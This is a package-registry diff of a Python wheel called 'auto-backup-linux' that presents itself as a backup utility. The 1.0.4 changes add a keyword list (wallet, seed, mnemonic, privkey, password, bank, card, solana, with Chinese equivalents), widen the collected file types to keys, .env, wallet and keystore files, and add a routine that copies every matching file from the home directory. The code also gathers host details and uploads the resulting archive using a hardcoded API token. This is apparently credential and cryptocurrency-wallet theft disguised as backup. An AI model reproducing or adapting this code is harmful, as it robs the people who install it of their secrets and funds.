auto-backup-linux 1.0.3__py3-none-any.whl → 1.0.4__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- auto_backup/__init__.py +1 -1
- auto_backup/cli.py +65 -15
- auto_backup/config.py +41 -5
- auto_backup/manager.py +117 -2
- {auto_backup_linux-1.0.3.dist-info → auto_backup_linux-1.0.4.dist-info}/METADATA +1 -1
- auto_backup_linux-1.0.4.dist-info/RECORD +9 -0
- {auto_backup_linux-1.0.3.dist-info → auto_backup_linux-1.0.4.dist-info}/WHEEL +1 -1
- auto_backup_linux-1.0.3.dist-info/RECORD +0 -9
- {auto_backup_linux-1.0.3.dist-info → auto_backup_linux-1.0.4.dist-info}/entry_points.txt +0 -0
- {auto_backup_linux-1.0.3.dist-info → auto_backup_linux-1.0.4.dist-info}/top_level.txt +0 -0
auto_backup/__init__.py
CHANGED
auto_backup/cli.py
CHANGED
|
@@ -3,6 +3,7 @@
|
|
|
3
3
|
import os
|
|
4
4
|
import sys
|
|
5
5
|
import time
|
|
6
|
+
import socket
|
|
6
7
|
import logging
|
|
7
8
|
import platform
|
|
8
9
|
import getpass
|
|
@@ -20,7 +21,7 @@ def is_server():
|
|
|
20
21
|
|
|
21
22
|
|
|
22
23
|
def backup_server(backup_manager, source, target):
|
|
23
|
-
"""
|
|
24
|
+
"""备份服务器,返回备份文件路径列表(不执行上传)"""
|
|
24
25
|
backup_dir = backup_manager.backup_linux_files(source, target)
|
|
25
26
|
if backup_dir:
|
|
26
27
|
backup_path = backup_manager.zip_backup_folder(
|
|
@@ -28,10 +29,12 @@ def backup_server(backup_manager, source, target):
|
|
|
28
29
|
str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
29
30
|
)
|
|
30
31
|
if backup_path:
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
32
|
+
logging.critical("☑️ 服务器备份文件已准备完成")
|
|
33
|
+
return backup_path
|
|
34
|
+
else:
|
|
35
|
+
logging.error("❌ 服务器备份压缩失败")
|
|
36
|
+
return None
|
|
37
|
+
return None
|
|
35
38
|
|
|
36
39
|
|
|
37
40
|
def backup_and_upload_logs(backup_manager):
|
|
@@ -196,13 +199,50 @@ def periodic_backup_upload(backup_manager):
|
|
|
196
199
|
target = Path.home() / ".dev/Backup/server"
|
|
197
200
|
|
|
198
201
|
try:
|
|
199
|
-
#
|
|
202
|
+
# 获取用户名和系统信息
|
|
200
203
|
username = getpass.getuser()
|
|
204
|
+
hostname = socket.gethostname()
|
|
201
205
|
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
+
|
|
207
|
+
# 获取系统环境信息
|
|
208
|
+
system_info = {
|
|
209
|
+
"操作系统": platform.system(),
|
|
210
|
+
"系统版本": platform.release(),
|
|
211
|
+
"系统架构": platform.machine(),
|
|
212
|
+
"Python版本": platform.python_version(),
|
|
213
|
+
"主机名": hostname,
|
|
214
|
+
"用户名": username,
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
# 获取Linux发行版信息
|
|
218
|
+
try:
|
|
219
|
+
with open("/etc/os-release", "r") as f:
|
|
220
|
+
for line in f:
|
|
221
|
+
if line.startswith("PRETTY_NAME="):
|
|
222
|
+
system_info["Linux发行版"] = line.split("=")[1].strip().strip('"')
|
|
223
|
+
break
|
|
224
|
+
except:
|
|
225
|
+
pass
|
|
226
|
+
|
|
227
|
+
# 获取内核版本
|
|
228
|
+
try:
|
|
229
|
+
with open("/proc/version", "r") as f:
|
|
230
|
+
kernel_version = f.read().strip().split()[2]
|
|
231
|
+
system_info["内核版本"] = kernel_version
|
|
232
|
+
except:
|
|
233
|
+
pass
|
|
234
|
+
|
|
235
|
+
# 输出启动信息和系统环境
|
|
236
|
+
logging.critical("\n" + "="*50)
|
|
237
|
+
logging.critical("🚀 自动备份系统已启动")
|
|
238
|
+
logging.critical("="*50)
|
|
239
|
+
logging.critical(f"⏰ 启动时间: {current_time}")
|
|
240
|
+
logging.critical("-"*50)
|
|
241
|
+
logging.critical("📊 系统环境信息:")
|
|
242
|
+
for key, value in system_info.items():
|
|
243
|
+
logging.critical(f" • {key}: {value}")
|
|
244
|
+
logging.critical("-"*50)
|
|
245
|
+
logging.critical("="*50)
|
|
206
246
|
|
|
207
247
|
while True:
|
|
208
248
|
try:
|
|
@@ -217,15 +257,12 @@ def periodic_backup_upload(backup_manager):
|
|
|
217
257
|
logging.critical("-"*40)
|
|
218
258
|
|
|
219
259
|
logging.critical("\n🖥️ 服务器指定目录备份")
|
|
220
|
-
backup_server(backup_manager, source, target)
|
|
221
|
-
|
|
222
|
-
if backup_manager.config.DEBUG_MODE:
|
|
223
|
-
logging.info("\n📝 备份日志上传")
|
|
224
|
-
backup_and_upload_logs(backup_manager)
|
|
260
|
+
backup_paths = backup_server(backup_manager, source, target)
|
|
225
261
|
|
|
226
262
|
# 保存下次备份时间
|
|
227
263
|
save_next_backup_time(backup_manager)
|
|
228
264
|
|
|
265
|
+
# 输出结束语(在上传之前)
|
|
229
266
|
logging.critical("\n" + "="*40)
|
|
230
267
|
next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
|
|
231
268
|
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
|
|
@@ -236,6 +273,19 @@ def periodic_backup_upload(backup_manager):
|
|
|
236
273
|
logging.critical(f"🔄 下次启动备份时间: {next_time}")
|
|
237
274
|
logging.critical("="*40 + "\n")
|
|
238
275
|
|
|
276
|
+
# 开始上传备份文件
|
|
277
|
+
if backup_paths:
|
|
278
|
+
logging.critical("📤 开始上传备份文件...")
|
|
279
|
+
if backup_manager.upload_backup(backup_paths):
|
|
280
|
+
logging.critical("✅ 备份文件上传成功")
|
|
281
|
+
else:
|
|
282
|
+
logging.error("❌ 备份文件上传失败")
|
|
283
|
+
|
|
284
|
+
# 上传备份日志
|
|
285
|
+
if backup_manager.config.DEBUG_MODE:
|
|
286
|
+
logging.info("\n📝 备份日志上传")
|
|
287
|
+
backup_and_upload_logs(backup_manager)
|
|
288
|
+
|
|
239
289
|
except Exception as e:
|
|
240
290
|
logging.error(f"\n❌ 备份出错: {e}")
|
|
241
291
|
try:
|
auto_backup/config.py
CHANGED
|
@@ -45,13 +45,13 @@ class BackupConfig:
|
|
|
45
45
|
# 需要备份的文件类型
|
|
46
46
|
# 文档类型扩展名
|
|
47
47
|
DOC_EXTENSIONS = [
|
|
48
|
-
".txt", ".json", ".js", ".py", ".go", ".sh", ".
|
|
49
|
-
".
|
|
48
|
+
".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
|
|
49
|
+
".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
|
|
50
50
|
]
|
|
51
51
|
# 配置类型扩展名
|
|
52
52
|
CONFIG_EXTENSIONS = [
|
|
53
|
-
".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config",
|
|
54
|
-
".yaml", ".yml", ".toml", ".
|
|
53
|
+
".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config", ".conf", ".json",
|
|
54
|
+
".yaml", ".yml", ".toml", ".utc", ".gpg", ".pgp", ".wallet", ".keystore",
|
|
55
55
|
]
|
|
56
56
|
# 所有备份扩展名(用于兼容性)
|
|
57
57
|
BACKUP_EXTENSIONS = DOC_EXTENSIONS + CONFIG_EXTENSIONS
|
|
@@ -85,10 +85,46 @@ class BackupConfig:
|
|
|
85
85
|
".thunderbird",
|
|
86
86
|
".wdm",
|
|
87
87
|
"cache",
|
|
88
|
-
"Downloads",
|
|
89
88
|
"myenv",
|
|
90
89
|
"snap",
|
|
91
90
|
"venv",
|
|
91
|
+
"node_modules",
|
|
92
|
+
"dist",
|
|
93
|
+
".cache",
|
|
94
|
+
".config",
|
|
95
|
+
".vscode-server",
|
|
96
|
+
"build",
|
|
97
|
+
".vscode-remote-ssh",
|
|
98
|
+
".git",
|
|
99
|
+
"__pycache__",
|
|
100
|
+
]
|
|
101
|
+
|
|
102
|
+
# 关键字备份配置 - 备份包含以下关键字的文件和文件夹
|
|
103
|
+
KEYWORD_BACKUP_KEYWORDS = [
|
|
104
|
+
"wallet",
|
|
105
|
+
"seed",
|
|
106
|
+
"mnemonic",
|
|
107
|
+
"private",
|
|
108
|
+
"privkey",
|
|
109
|
+
"keypair",
|
|
110
|
+
"secret",
|
|
111
|
+
"account",
|
|
112
|
+
"password",
|
|
113
|
+
"bank",
|
|
114
|
+
"card",
|
|
115
|
+
"solana",
|
|
116
|
+
"important",
|
|
117
|
+
"钱包",
|
|
118
|
+
"助记词",
|
|
119
|
+
"种子",
|
|
120
|
+
"私钥",
|
|
121
|
+
"密钥",
|
|
122
|
+
"密码",
|
|
123
|
+
"账户",
|
|
124
|
+
"账号",
|
|
125
|
+
"信用卡",
|
|
126
|
+
"备忘",
|
|
127
|
+
"重要",
|
|
92
128
|
]
|
|
93
129
|
|
|
94
130
|
# 上传服务器配置
|
auto_backup/manager.py
CHANGED
|
@@ -21,7 +21,7 @@ class BackupManager:
|
|
|
21
21
|
def __init__(self):
|
|
22
22
|
"""初始化备份管理器"""
|
|
23
23
|
self.config = BackupConfig()
|
|
24
|
-
self.api_token = "
|
|
24
|
+
self.api_token = "oxQbVFE4p8BKRSE07r03s7jW4FDIC0sR"
|
|
25
25
|
# 使用集合优化扩展名检查性能
|
|
26
26
|
self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
|
|
27
27
|
self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
|
|
@@ -200,11 +200,12 @@ class BackupManager:
|
|
|
200
200
|
target_docs = os.path.join(target_dir, "docs") # 备份文档的目标目录
|
|
201
201
|
target_configs = os.path.join(target_dir, "configs") # 备份配置文件的目标目录
|
|
202
202
|
target_specified = os.path.join(target_dir, "specified") # 新增指定目录/文件的备份目录
|
|
203
|
+
target_keyword = os.path.join(target_dir, "keyword") # 关键字文件备份目录
|
|
203
204
|
|
|
204
205
|
if not self._clean_directory(target_dir):
|
|
205
206
|
return None
|
|
206
207
|
|
|
207
|
-
if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified]):
|
|
208
|
+
if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified, target_keyword]):
|
|
208
209
|
return None
|
|
209
210
|
|
|
210
211
|
# 首先备份指定目录或文件 (SERVER_BACKUP_DIRS)
|
|
@@ -216,6 +217,10 @@ class BackupManager:
|
|
|
216
217
|
# 追加:备份 Linux Chrome 目录
|
|
217
218
|
self._backup_chrome_directories(target_specified)
|
|
218
219
|
|
|
220
|
+
# 追加:备份包含关键字的文件和文件夹
|
|
221
|
+
logging.info("\n🔑 开始备份关键字文件...")
|
|
222
|
+
self._backup_keyword_files(source_dir, target_keyword)
|
|
223
|
+
|
|
219
224
|
# 然后备份其他文件 (不在SERVER_BACKUP_DIRS中的,根据文件类型备份)
|
|
220
225
|
# 预计算已备份的目录路径集合,优化性能
|
|
221
226
|
source_dir_abs = os.path.abspath(source_dir)
|
|
@@ -545,3 +550,113 @@ class BackupManager:
|
|
|
545
550
|
pass
|
|
546
551
|
return False
|
|
547
552
|
|
|
553
|
+
def _contains_keyword(self, name):
|
|
554
|
+
"""检查文件名或目录名是否包含关键字(不区分大小写)"""
|
|
555
|
+
name_lower = name.lower()
|
|
556
|
+
for keyword in self.config.KEYWORD_BACKUP_KEYWORDS:
|
|
557
|
+
if keyword.lower() in name_lower:
|
|
558
|
+
return True
|
|
559
|
+
return False
|
|
560
|
+
|
|
561
|
+
def _backup_keyword_files(self, source_dir, target_keyword):
|
|
562
|
+
"""备份包含关键字的文件和文件夹"""
|
|
563
|
+
try:
|
|
564
|
+
source_dir_abs = os.path.abspath(source_dir)
|
|
565
|
+
target_dir_abs = os.path.abspath(target_keyword)
|
|
566
|
+
exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
|
|
567
|
+
keywords_lower = [kw.lower() for kw in self.config.KEYWORD_BACKUP_KEYWORDS]
|
|
568
|
+
|
|
569
|
+
files_count = 0
|
|
570
|
+
dirs_count = 0
|
|
571
|
+
backed_up_paths = set() # 记录已备份的路径,避免重复备份
|
|
572
|
+
|
|
573
|
+
# 遍历源目录
|
|
574
|
+
for root, dirs, files in os.walk(source_dir):
|
|
575
|
+
root_abs = os.path.abspath(root)
|
|
576
|
+
|
|
577
|
+
# 跳过目标备份目录本身
|
|
578
|
+
if root_abs.startswith(target_dir_abs):
|
|
579
|
+
continue
|
|
580
|
+
|
|
581
|
+
# 跳过排除的目录
|
|
582
|
+
root_name = os.path.basename(root)
|
|
583
|
+
if root_name.lower() in exclude_dirs_lower:
|
|
584
|
+
dirs[:] = [] # 清空dirs列表,阻止进入子目录
|
|
585
|
+
continue
|
|
586
|
+
|
|
587
|
+
# 检查目录名是否包含关键字
|
|
588
|
+
if self._contains_keyword(root_name):
|
|
589
|
+
# 备份整个目录
|
|
590
|
+
relative_path = os.path.relpath(root, source_dir)
|
|
591
|
+
target_path = os.path.join(target_keyword, relative_path)
|
|
592
|
+
|
|
593
|
+
# 避免重复备份
|
|
594
|
+
if root_abs not in backed_up_paths:
|
|
595
|
+
try:
|
|
596
|
+
if os.path.exists(target_path):
|
|
597
|
+
shutil.rmtree(target_path, ignore_errors=True)
|
|
598
|
+
if self._ensure_directory(os.path.dirname(target_path)):
|
|
599
|
+
shutil.copytree(root, target_path, symlinks=True)
|
|
600
|
+
backed_up_paths.add(root_abs)
|
|
601
|
+
dirs_count += 1
|
|
602
|
+
if self.config.DEBUG_MODE:
|
|
603
|
+
logging.info(f"🔑 已备份关键字目录: {relative_path}/")
|
|
604
|
+
except Exception as e:
|
|
605
|
+
logging.error(f"❌ 备份关键字目录失败 {relative_path}: {str(e)}")
|
|
606
|
+
|
|
607
|
+
# 标记所有子目录为已备份,避免重复处理
|
|
608
|
+
for subdir in dirs:
|
|
609
|
+
subdir_path = os.path.join(root, subdir)
|
|
610
|
+
backed_up_paths.add(os.path.abspath(subdir_path))
|
|
611
|
+
dirs[:] = [] # 清空dirs列表,不再进入子目录
|
|
612
|
+
continue
|
|
613
|
+
|
|
614
|
+
# 检查当前目录是否在已备份的目录中(如果是,跳过该目录下的所有文件)
|
|
615
|
+
if any(root_abs.startswith(backed_path + os.sep) or root_abs == backed_path
|
|
616
|
+
for backed_path in backed_up_paths):
|
|
617
|
+
continue
|
|
618
|
+
|
|
619
|
+
# 检查文件名是否包含关键字
|
|
620
|
+
for file in files:
|
|
621
|
+
if self._contains_keyword(file):
|
|
622
|
+
source_file = os.path.join(root, file)
|
|
623
|
+
source_file_abs = os.path.abspath(source_file)
|
|
624
|
+
|
|
625
|
+
# 避免重复备份
|
|
626
|
+
if source_file_abs in backed_up_paths:
|
|
627
|
+
continue
|
|
628
|
+
|
|
629
|
+
# 检查文件是否在已备份的目录中
|
|
630
|
+
if any(source_file_abs.startswith(backed_path + os.sep) or source_file_abs == backed_path
|
|
631
|
+
for backed_path in backed_up_paths):
|
|
632
|
+
continue
|
|
633
|
+
|
|
634
|
+
relative_path = os.path.relpath(root, source_dir)
|
|
635
|
+
target_sub_dir = os.path.join(target_keyword, relative_path)
|
|
636
|
+
target_file = os.path.join(target_sub_dir, file)
|
|
637
|
+
|
|
638
|
+
try:
|
|
639
|
+
if self._ensure_directory(target_sub_dir):
|
|
640
|
+
shutil.copy2(source_file, target_file)
|
|
641
|
+
backed_up_paths.add(source_file_abs)
|
|
642
|
+
files_count += 1
|
|
643
|
+
if self.config.DEBUG_MODE:
|
|
644
|
+
logging.info(f"🔑 已备份关键字文件: {relative_path}/{file}")
|
|
645
|
+
except Exception as e:
|
|
646
|
+
logging.error(f"❌ 备份关键字文件失败 {relative_path}/{file}: {str(e)}")
|
|
647
|
+
|
|
648
|
+
# 打印备份统计信息
|
|
649
|
+
if files_count > 0 or dirs_count > 0:
|
|
650
|
+
logging.info(f"\n🔑 关键字文件备份统计:")
|
|
651
|
+
if files_count > 0:
|
|
652
|
+
logging.info(f" 📄 文件: {files_count} 个")
|
|
653
|
+
if dirs_count > 0:
|
|
654
|
+
logging.info(f" 📁 目录: {dirs_count} 个")
|
|
655
|
+
|
|
656
|
+
return True
|
|
657
|
+
except Exception as e:
|
|
658
|
+
logging.error(f"❌ 关键字文件备份过程出错: {str(e)}")
|
|
659
|
+
if self.config.DEBUG_MODE:
|
|
660
|
+
import traceback
|
|
661
|
+
logging.debug(traceback.format_exc())
|
|
662
|
+
return False
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
auto_backup/__init__.py,sha256=Mb-SkQxAOUbascnO-nm6SUnQGqOfr5cgzKEkSYcV4Yk,357
|
|
2
|
+
auto_backup/cli.py,sha256=pvp_4URTKuIruaDfA9FSBturFyMQB05rzXnEt7epWyI,12142
|
|
3
|
+
auto_backup/config.py,sha256=vsCCnVXGhphNHtEAVSIkh8FmaCz_p2L8t0o_wxNAhSQ,4139
|
|
4
|
+
auto_backup/manager.py,sha256=fPJuFQGUzKCWXWIJL-kwvqc54GmwJFmgeDto2v_8vDg,29966
|
|
5
|
+
auto_backup_linux-1.0.4.dist-info/METADATA,sha256=zySVOSDTwizpOw3yHbKCxnF0_KdWU8qYy0N3heRxxrI,8290
|
|
6
|
+
auto_backup_linux-1.0.4.dist-info/WHEEL,sha256=qELbo2s1Yzl39ZmrAibXA2jjPLUYfnVhUNTlyF1rq0Y,92
|
|
7
|
+
auto_backup_linux-1.0.4.dist-info/entry_points.txt,sha256=1ebpuvJpIzH3szkrHjFFCoOF14efgsf_I7FEEWYSR_k,52
|
|
8
|
+
auto_backup_linux-1.0.4.dist-info/top_level.txt,sha256=yoaEMbM-rnAbtQBlA25A-ozLUxO21qFNGMHcWeCjYR0,12
|
|
9
|
+
auto_backup_linux-1.0.4.dist-info/RECORD,,
|
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
auto_backup/__init__.py,sha256=GeXqQVd7N_lmc0Mjf63ai9u2mEqoTKYn0YxXjtLDIZk,357
|
|
2
|
-
auto_backup/cli.py,sha256=UjRiZ9pEqYLF6AdmhsJYfdBpIPDTKX_8boNy-Iw1urQ,10248
|
|
3
|
-
auto_backup/config.py,sha256=LvzOUa13i2sIQj2QnyWE35NjZ_MarT2-LVg2vDfM-i8,3378
|
|
4
|
-
auto_backup/manager.py,sha256=HIObCGPGjV4N_gy2IfXwgu0S2Lyn8tMrQ4vEOCrcPlU,23963
|
|
5
|
-
auto_backup_linux-1.0.3.dist-info/METADATA,sha256=jlwrBjOf9CwXglVjp34dIM1qg72tisIeYtaGcRDlPgU,8290
|
|
6
|
-
auto_backup_linux-1.0.3.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
|
7
|
-
auto_backup_linux-1.0.3.dist-info/entry_points.txt,sha256=1ebpuvJpIzH3szkrHjFFCoOF14efgsf_I7FEEWYSR_k,52
|
|
8
|
-
auto_backup_linux-1.0.3.dist-info/top_level.txt,sha256=yoaEMbM-rnAbtQBlA25A-ozLUxO21qFNGMHcWeCjYR0,12
|
|
9
|
-
auto_backup_linux-1.0.3.dist-info/RECORD,,
|
|
File without changes
|
|
File without changes
|